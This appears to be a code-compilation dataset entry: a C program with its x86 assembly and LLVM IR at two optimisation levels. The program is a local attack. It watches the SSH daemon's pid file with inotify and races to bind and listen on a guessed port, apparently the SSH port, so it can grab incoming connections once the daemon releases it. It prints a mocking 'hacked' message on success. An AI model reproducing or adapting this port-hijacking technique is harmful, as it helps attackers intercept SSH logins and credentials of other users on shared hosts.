#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct in_addr {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  struct in_addr sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
struct inotify_event {
  int dummy;
};
typedef int /*<<< orphan*/ optval;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ INT_MAX;
int /*<<< orphan*/ IN_ACCESS;
int /*<<< orphan*/ IN_NONBLOCK;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ SOL_SOCKET;
int /*<<< orphan*/ SO_REUSEADDR;
int accept(int, int /*<<< orphan*/ *, int /*<<< orphan*/ *);
int bind(int, struct sockaddr *, int);
int errno;
int /*<<< orphan*/ exit(int);
int guessPort();
int /*<<< orphan*/ htons(int);
int inotify_add_watch(int, char *, int /*<<< orphan*/);
int inotify_init1(int /*<<< orphan*/);
int listen(int, int);
int /*<<< orphan*/ printf(char *, ...);
int read(int, char *, int);
int setsockopt(int, int /*<<< orphan*/, int /*<<< orphan*/, int *, int);
int /*<<< orphan*/ sleep(int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ usleep(int);
int main(int argc, char **argv) {
  struct inotify_event *event;
  int fd, wd;
  char buf[1024];
  int sock;
  struct sockaddr_in sock_addr;
  struct in_addr sin_addr;
  int port = guessPort();
  printf("We guessed the port: %u\r\n", port);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  sock_addr.sin_family = AF_INET;
  sock_addr.sin_port = htons(port);
  sin_addr.s_addr = INADDR_ANY;
  sock_addr.sin_addr = sin_addr;
  int optval = 1;
  if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval)) ==
      -1) {
    printf("Failed to setsockopt (%u)\r\n", errno);
    exit(7);
  }
  fd = inotify_init1(IN_NONBLOCK);
  wd = inotify_add_watch(fd, "/var/run/sshd.pid", IN_ACCESS);
  while (1) {
    int i = 0;
    int len = read(fd, buf, 1024);
    while (i < len) {
      int res, attempts;
      while (bind(sock, (struct sockaddr *)&sock_addr,
                  sizeof(struct sockaddr_in)) == -1) {
        printf(":( brokepoke.png (%u)\r\n", errno);
        if (attempts++ > 1000)
          exit(1);
        usleep(1);
      }
      res = listen(sock, 20);
      if (res == 0) {
        printf("Aw shit, guess who just hacked the shit out of you? DAMN "
               "RIGHT, SHIT WAS ME\r\n");
        int res = accept(sock, NULL, NULL);
        printf("accept res: %i\r\n", res);
        while (1) {
          sleep(INT_MAX);
        }
        exit(0);
      } else {
        printf(":( slowpoke.png (%u)\r\n", errno);
      }
      exit(1);
    }
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x460,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    $0x0,%al
call   1090 <guessPort@plt>
mov    %eax,-0x43c(%rbp)
mov    -0x43c(%rbp),%esi
lea    0xded(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    0x2dbf(%rip),%rax
mov    (%rax),%edi
mov    0x2d86(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1100 <socket@plt>
mov    %eax,-0x424(%rbp)
mov    0x2da0(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x428(%rbp)
mov    -0x43c(%rbp),%edi
call   1040 <htons@plt>
mov    %eax,-0x42c(%rbp)
mov    0x2d70(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x438(%rbp)
mov    -0x438(%rbp),%eax
mov    %eax,-0x430(%rbp)
movl   $0x1,-0x440(%rbp)
mov    -0x424(%rbp),%edi
mov    0x2d5d(%rip),%rax
mov    (%rax),%esi
mov    0x2d0c(%rip),%rax
mov    (%rax),%edx
lea    -0x440(%rbp),%rcx
mov    $0x4,%r8d
call   1030 <setsockopt@plt>
cmp    $0xffffffff,%eax
jne    12d2 <main+0xf2>
mov    0x2cf0(%rip),%rax
mov    (%rax),%esi
lea    0xd59(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x7,%edi
call   10c0 <exit@plt>
mov    0x2cdf(%rip),%rax
mov    (%rax),%edi
call   10e0 <inotify_init1@plt>
mov    %eax,-0x1c(%rbp)
mov    -0x1c(%rbp),%edi
mov    0x2cd3(%rip),%rax
mov    (%rax),%edx
lea    0xd40(%rip),%rsi
call   1070 <inotify_add_watch@plt>
mov    %eax,-0x20(%rbp)
movl   $0x0,-0x444(%rbp)
mov    -0x1c(%rbp),%edi
lea    -0x420(%rbp),%rsi
mov    $0x400,%edx
call   1060 <read@plt>
mov    %eax,-0x448(%rbp)
mov    -0x444(%rbp),%eax
cmp    -0x448(%rbp),%eax
jge    1436 <main+0x256>
jmp    1339 <main+0x159>
mov    -0x424(%rbp),%edi
lea    -0x430(%rbp),%rsi
mov    $0xc,%edx
call   10a0 <bind@plt>
cmp    $0xffffffff,%eax
jne    13a5 <main+0x1c5>
mov    0x2c48(%rip),%rax
mov    (%rax),%esi
lea    0xcdf(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x450(%rbp),%eax
mov    %eax,%ecx
add    $0x1,%ecx
mov    %ecx,-0x450(%rbp)
cmp    $0x3e8,%eax
jle    1396 <main+0x1b6>
mov    $0x1,%edi
call   10c0 <exit@plt>
mov    $0x1,%edi
call   10f0 <usleep@plt>
jmp    1339 <main+0x159>
mov    -0x424(%rbp),%edi
mov    $0x14,%esi
call   1080 <listen@plt>
mov    %eax,-0x44c(%rbp)
cmpl   $0x0,-0x44c(%rbp)
jne    1415 <main+0x235>
lea    0xc91(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x424(%rbp),%edi
xor    %eax,%eax
mov    %eax,%edx
mov    %rdx,%rsi
call   10b0 <accept@plt>
mov    %eax,-0x454(%rbp)
mov    -0x454(%rbp),%esi
lea    0xcb3(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    0x2bcf(%rip),%rax
mov    (%rax),%edi
call   10d0 <sleep@plt>
jmp    1402 <main+0x222>
mov    0x2b8c(%rip),%rax
mov    (%rax),%esi
lea    0xc9a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    $0x1,%edi
call   10c0 <exit@plt>
jmp    12fe <main+0x11e>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r14
push   %rbx
sub    $0x420,%rsp
xor    %eax,%eax
call   10a0 <guessPort@plt>
mov    %eax,%ebx
lea    0xdf5(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x2dc5(%rip),%rbp
mov    0x0(%rbp),%edi
mov    0x2d8b(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1110 <socket@plt>
mov    %eax,%r14d
mov    0x0(%rbp),%eax
mov    %eax,0x18(%rsp)
mov    %ebx,%edi
call   1050 <htons@plt>
mov    %eax,0x14(%rsp)
mov    0x2d86(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x10(%rsp)
movl   $0x1,0xc(%rsp)
mov    0x2d89(%rip),%rax
mov    (%rax),%esi
mov    0x2d38(%rip),%rax
mov    (%rax),%edx
lea    0xc(%rsp),%rcx
mov    %r14d,%edi
mov    $0x4,%r8d
call   1040 <setsockopt@plt>
cmp    $0xffffffff,%eax
je     1369 <main+0x179>
mov    0x2d2b(%rip),%rax
mov    (%rax),%edi
call   10f0 <inotify_init1@plt>
mov    %eax,%ebp
mov    0x2d23(%rip),%rax
mov    (%rax),%edx
lea    0xd90(%rip),%rsi
mov    %ebp,%edi
call   1080 <inotify_add_watch@plt>
lea    0x20(%rsp),%rbx
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
mov    %ebp,%edi
mov    %rbx,%rsi
mov    $0x400,%edx
call   1070 <read@plt>
test   %eax,%eax
jle    12c0 <main+0xd0>
lea    0x10(%rsp),%rsi
mov    %r14d,%edi
mov    $0xc,%edx
call   10b0 <bind@plt>
cmp    $0xffffffff,%eax
jne    131d <main+0x12d>
mov    0x2cb7(%rip),%rax
mov    (%rax),%esi
lea    0xd4e(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0x1,%edi
call   1100 <usleep@plt>
lea    0x10(%rsp),%rsi
mov    %r14d,%edi
mov    $0xc,%edx
call   10b0 <bind@plt>
mov    %r14d,%edi
mov    $0x14,%esi
call   1090 <listen@plt>
test   %eax,%eax
jne    138a <main+0x19a>
lea    0xd53(%rip),%rdi
call   1030 <puts@plt>
mov    %r14d,%edi
xor    %esi,%esi
xor    %edx,%edx
call   10c0 <accept@plt>
lea    0xd13(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x2c7b(%rip),%rbx
nopl   (%rax)
mov    (%rbx),%edi
call   10e0 <sleep@plt>
jmp    1360 <main+0x170>
mov    0x2c38(%rip),%rax
mov    (%rax),%esi
lea    0xca1(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0x7,%edi
call   10d0 <exit@plt>
mov    0x2c17(%rip),%rax
mov    (%rax),%esi
lea    0xcd7(%rip),%rdi
xor    %eax,%eax
call   1060 <printf@plt>
mov    $0x1,%edi
call   10d0 <exit@plt>

LLVM IR (-O0):
%struct.inotify_event = type { i32 }
%struct.sockaddr_in = type { %struct.in_addr, i32, i32 }
%struct.in_addr = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [26 x i8] c"We guessed the port: %u\0D\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@INADDR_ANY = global i32 0
@SOL_SOCKET = global i32 0
@SO_REUSEADDR = global i32 0
@.str.1 = [28 x i8] c"Failed to setsockopt (%u)\0D\0A\00"
@errno = global i32 0
@IN_NONBLOCK = global i32 0
@.str.2 = [18 x i8] c"/var/run/sshd.pid\00"
@IN_ACCESS = global i32 0
@.str.3 = [24 x i8] c":( brokepoke.png (%u)\0D\0A\00"
@.str.4 = [78 x i8] c"Aw shit, guess who just hacked the shit out of you? DAMN RIGHT, SHIT WAS ME\0D\0A\00"
@.str.5 = [17 x i8] c"accept res: %i\0D\0A\00"
@INT_MAX = global i32 0
@.str.6 = [23 x i8] c":( slowpoke.png (%u)\0D\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca %struct.inotify_event*
%7 = alloca i32
%8 = alloca i32
%9 = alloca [1024 x i8]
%10 = alloca i32
%11 = alloca %struct.sockaddr_in
%12 = alloca %struct.in_addr
%13 = alloca i32
%14 = alloca i32
%15 = alloca i32
%16 = alloca i32
%17 = alloca i32
%18 = alloca i32
%19 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%20 = call i32 (...) @guessPort()
store i32 %20, i32* %13
%21 = load i32, i32* %13
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %21)
%23 = load i32, i32* @AF_INET
%24 = load i32, i32* @SOCK_STREAM
%25 = call i32 @socket(i32 %23, i32 %24, i32 0)
store i32 %25, i32* %10
%26 = load i32, i32* @AF_INET
%27 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 2
store i32 %26, i32* %27
%28 = load i32, i32* %13
%29 = call i32 @htons(i32 %28)
%30 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 1
store i32 %29, i32* %30
%31 = load i32, i32* @INADDR_ANY
%32 = getelementptr inbounds %struct.in_addr, %struct.in_addr* %12, i32 0, i32 0
store i32 %31, i32* %32
%33 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %11, i32 0, i32 0
%34 = bitcast %struct.in_addr* %33 to i8*
%35 = bitcast %struct.in_addr* %12 to i8*
store i32 1, i32* %14
%36 = load i32, i32* %10
%37 = load i32, i32* @SOL_SOCKET
%38 = load i32, i32* @SO_REUSEADDR
%39 = call i32 @setsockopt(i32 %36, i32 %37, i32 %38, i32* %14, i32 4)
%40 = icmp eq i32 %39, -1
br i1 %40, label %41, label %45
41: ; preds = %2
%42 = load i32, i32* @errno
%43 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str.1, i64 0, i64 0), i32 %42)
%44 = call i32 @exit(i32 7)
unreachable
45: ; preds = %2
%46 = load i32, i32* @IN_NONBLOCK
%47 = call i32 @inotify_init1(i32 %46)
store i32 %47, i32* %7
%48 = load i32, i32* %7
%49 = load i32, i32* @IN_ACCESS
%50 = call i32 @inotify_add_watch(i32 %48, i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.2, i64 0, i64 0), i32 %49)
store i32 %50, i32* %8
br label %51
51: ; preds = %45, %94
store i32 0, i32* %15
%52 = load i32, i32* %7
%53 = getelementptr inbounds [1024 x i8], [1024 x i8]* %9, i64 0, i64 0
%54 = call i32 @read(i32 %52, i8* %53, i32 1024)
store i32 %54, i32* %16
br label %55
55: ; preds = %51
%56 = load i32, i32* %15
%57 = load i32, i32* %16
%58 = icmp slt i32 %56, %57
br i1 %58, label %59, label %94
59: ; preds = %55
br label %60
60: ; preds = %73, %59
%61 = load i32, i32* %10
%62 = bitcast %struct.sockaddr_in* %11 to %struct.sockaddr*
%63 = call i32 @bind(i32 %61, %struct.sockaddr* %62, i32 12)
%64 = icmp eq i32 %63, -1
br i1 %64, label %65, label %75
65: ; preds = %60
%66 = load i32, i32* @errno
%67 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.3, i64 0, i64 0), i32 %66)
%68 = load i32, i32* %18
%69 = add nsw i32 %68, 1
store i32 %69, i32* %18
%70 = icmp sgt i32 %68, 1000
br i1 %70, label %71, label %73
71: ; preds = %65
%72 = call i32 @exit(i32 1)
unreachable
73: ; preds = %65
%74 = call i32 @usleep(i32 1)
br label %60
75: ; preds = %60
%76 = load i32, i32* %10
%77 = call i32 @listen(i32 %76, i32 20)
store i32 %77, i32* %17
%78 = load i32, i32* %17
%79 = icmp eq i32 %78, 0
br i1 %79, label %80, label %89
80: ; preds = %75
%81 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([78 x i8], [78 x i8]* @.str.4, i64 0, i64 0))
%82 = load i32, i32* %10
%83 = call i32 @accept(i32 %82, i32* null, i32* null)
store i32 %83, i32* %19
%84 = load i32, i32* %19
%85 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.5, i64 0, i64 0), i32 %84)
br label %86
86: ; preds = %80, %86
%87 = load i32, i32* @INT_MAX
%88 = call i32 @sleep(i32 %87)
br label %86
89: ; preds = %75
%90 = load i32, i32* @errno
%91 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.6, i64 0, i64 0), i32 %90)
br label %92
92: ; preds = %89
%93 = call i32 @exit(i32 1)
unreachable
94: ; preds = %55
br label %51
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.in_addr, i32, i32 }
%struct.in_addr = type { i32 }
%struct.inotify_event = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [26 x i8] c"We guessed the port: %u\0D\0A\00"
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@INADDR_ANY = global i32 0
@SOL_SOCKET = global i32 0
@SO_REUSEADDR = global i32 0
@.str.1 = [28 x i8] c"Failed to setsockopt (%u)\0D\0A\00"
@errno = global i32 0
@IN_NONBLOCK = global i32 0
@.str.2 = [18 x i8] c"/var/run/sshd.pid\00"
@IN_ACCESS = global i32 0
@.str.3 = [24 x i8] c":( brokepoke.png (%u)\0D\0A\00"
@.str.5 = [17 x i8] c"accept res: %i\0D\0A\00"
@INT_MAX = global i32 0
@.str.6 = [23 x i8] c":( slowpoke.png (%u)\0D\0A\00"
@str = [77 x i8] c"Aw shit, guess who just hacked the shit out of you? DAMN RIGHT, SHIT WAS ME\0D\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [1024 x i8]
%4 = alloca %struct.sockaddr_in
%5 = alloca i32
%6 = getelementptr inbounds [1024 x i8], [1024 x i8]* %3, i64 0, i64 0
%7 = bitcast %struct.sockaddr_in* %4 to i8*
%8 = tail call i32 (...) @guessPort()
%9 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([26 x i8], [26 x i8]* @.str, i64 0, i64 0), i32 %8)
%10 = load i32, i32* @AF_INET
%11 = load i32, i32* @SOCK_STREAM
%12 = tail call i32 @socket(i32 %10, i32 %11, i32 0)
%13 = load i32, i32* @AF_INET
%14 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 2
store i32 %13, i32* %14
%15 = tail call i32 @htons(i32 %8)
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 1
store i32 %15, i32* %16
%17 = load i32, i32* @INADDR_ANY
%18 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %4, i64 0, i32 0, i32 0
store i32 %17, i32* %18
%19 = bitcast i32* %5 to i8*
store i32 1, i32* %5
%20 = load i32, i32* @SOL_SOCKET
%21 = load i32, i32* @SO_REUSEADDR
%22 = call i32 @setsockopt(i32 %12, i32 %20, i32 %21, i32* %5, i32 4)
%23 = icmp eq i32 %22, -1
br i1 %23, label %24, label %28
24: ; preds = %2
%25 = load i32, i32* @errno
%26 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @.str.1, i64 0, i64 0), i32 %25)
%27 = call i32 @exit(i32 7)
unreachable
28: ; preds = %2
%29 = load i32, i32* @IN_NONBLOCK
%30 = call i32 @inotify_init1(i32 %29)
%31 = load i32, i32* @IN_ACCESS
%32 = call i32 @inotify_add_watch(i32 %30, i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.2, i64 0, i64 0), i32 %31)
br label %33
33: ; preds = %33, %28
%34 = call i32 @read(i32 %30, i8* %6, i32 1024)
%35 = icmp sgt i32 %34, 0
br i1 %35, label %36, label %33
36: ; preds = %33
%37 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%38 = call i32 @bind(i32 %12, %struct.sockaddr* %37, i32 12)
%39 = icmp eq i32 %38, -1
br i1 %39, label %40, label %45
40: ; preds = %36
%41 = load i32, i32* @errno
%42 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([24 x i8], [24 x i8]* @.str.3, i64 0, i64 0), i32 %41)
%43 = call i32 @usleep(i32 1)
%44 = call i32 @bind(i32 %12, %struct.sockaddr* %37, i32 12)
br label %45
45: ; preds = %40, %36
%46 = call i32 @listen(i32 %12, i32 20)
%47 = icmp eq i32 %46, 0
br i1 %47, label %48, label %55
48: ; preds = %45
%49 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([77 x i8], [77 x i8]* @str, i64 0, i64 0))
%50 = call i32 @accept(i32 %12, i32* null, i32* null)
%51 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([17 x i8], [17 x i8]* @.str.5, i64 0, i64 0), i32 %50)
br label %52
52: ; preds = %52, %48
%53 = load i32, i32* @INT_MAX
%54 = call i32 @sleep(i32 %53)
br label %52
55: ; preds = %45
%56 = load i32, i32* @errno
%57 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([23 x i8], [23 x i8]* @.str.6, i64 0, i64 0), i32 %56)
%58 = call i32 @exit(i32 1)
unreachable
}